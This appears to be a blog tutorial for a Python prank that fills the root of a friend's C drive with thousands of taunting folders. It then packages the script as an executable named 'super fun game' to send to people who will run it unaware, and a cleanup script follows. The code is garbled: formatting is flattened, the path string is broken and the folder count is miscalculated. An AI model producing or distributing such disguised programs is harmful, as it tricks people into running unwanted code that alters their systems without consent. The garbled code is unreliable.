Python|Spoof C drive

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1 Foreword

In daily life, in order to add fun to ordinary life, I often make jokes with my friends. In addition to the jokes in reality, for those who learn programs, there are naturally online jokes, so today I will share with you a spoof small program written in python. Everyone knows that if the computer C drive takes up too much space, the computer will get stuck, so this time I chose to spoof the C drive. (Declaration: This article is only for learning reference, and must not be used for other purposes.)

2 ready

This spoof small program is written in python language. In addition to several built-in modules, there is also a module for packaging py files - pyinstaller. The installation method is: enter the following command on the command line:

pip install pyinstaller

After the required modules are prepared, they can be directly imported and used.

3 Create code

import os,sys,random#Import module def spoofCeate(): textList = ['Haha','Fucked','Is it interesting','Can you finish deleting?','Let's give up','I'm so funny ','Hahahahaha','Don't delete randomly','Be careful not to delete your own folder']#The name of the generated file path ='C:\'#C drive path for i in range (65,91): for o in range(100): text = random.choice(textList) fileName = path+chr(i)+str(o)+text #Using 26 uppercase letters and numbers from 0-100, Randomly generated text to name if not os.path.exists(fileName): os.mkdir(fileName) for i in range(97,122): for o in range(100): text = random.choice(textList) fileName = path +chr(i)+str(o)+text #Using 26 lowercase letters and 0-100 numbers, randomly generated text to name if not os.path.exists(fileName): os.mkdir(fileName)spoofCeate( )

After running these codes, many folders will be created in the C drive of the running computer. The names of the folders are 26 large and small letters + numbers from 0-100 + randomly selected text. It requires you to send this code to a friend, and if he runs it, he will create (24+24)*100 folders in the C drive unconsciously. When he finds it out, he doesn’t know if it is You did it, so it's exciting to think about it.

Figure 3.1 Running effect

4****Delete code

Because friendship comes first, so in order to prevent the friendship boat from overturning, the editor wrote a program to delete all the folders created. code show as below:

import os,sys#Import module def spoofDelete(): textList = ['Haha','Fucked','Is it interesting?','Can you finish deleting?','Let's give up','I am laughing to death', 'Hahahahaha','Don't delete randomly','Be careful not to delete your own folder'] #The name of the folder path ='C:\' #C drive path for i in os.listdir (path): pathNow = os.path.join(path,i) for o in textList: if o in i: print(pathNow) os.rmdir(pathNow) #Delete the folder containing the given keyword breakspoofDelete()

5****Packager

Because many friends do not have a python environment on their computers, they sent the code to him, and he couldn't run it, so the editor used the python third-party library pyinstaller to package the code. Since only the pure code files need to be packaged this time, just use the following commands directly.

pyinstaller -F super fun game.pypyinsatller -F restore.py

For specific and detailed packaging methods, please see two articles dedicated to pyinstaller in the editor of this public account:

"The Basics of Python File Packaging War",

"Python file packaging actual combat advanced chapter".

After finally packaging it into an exe file, you can send it directly to your friends.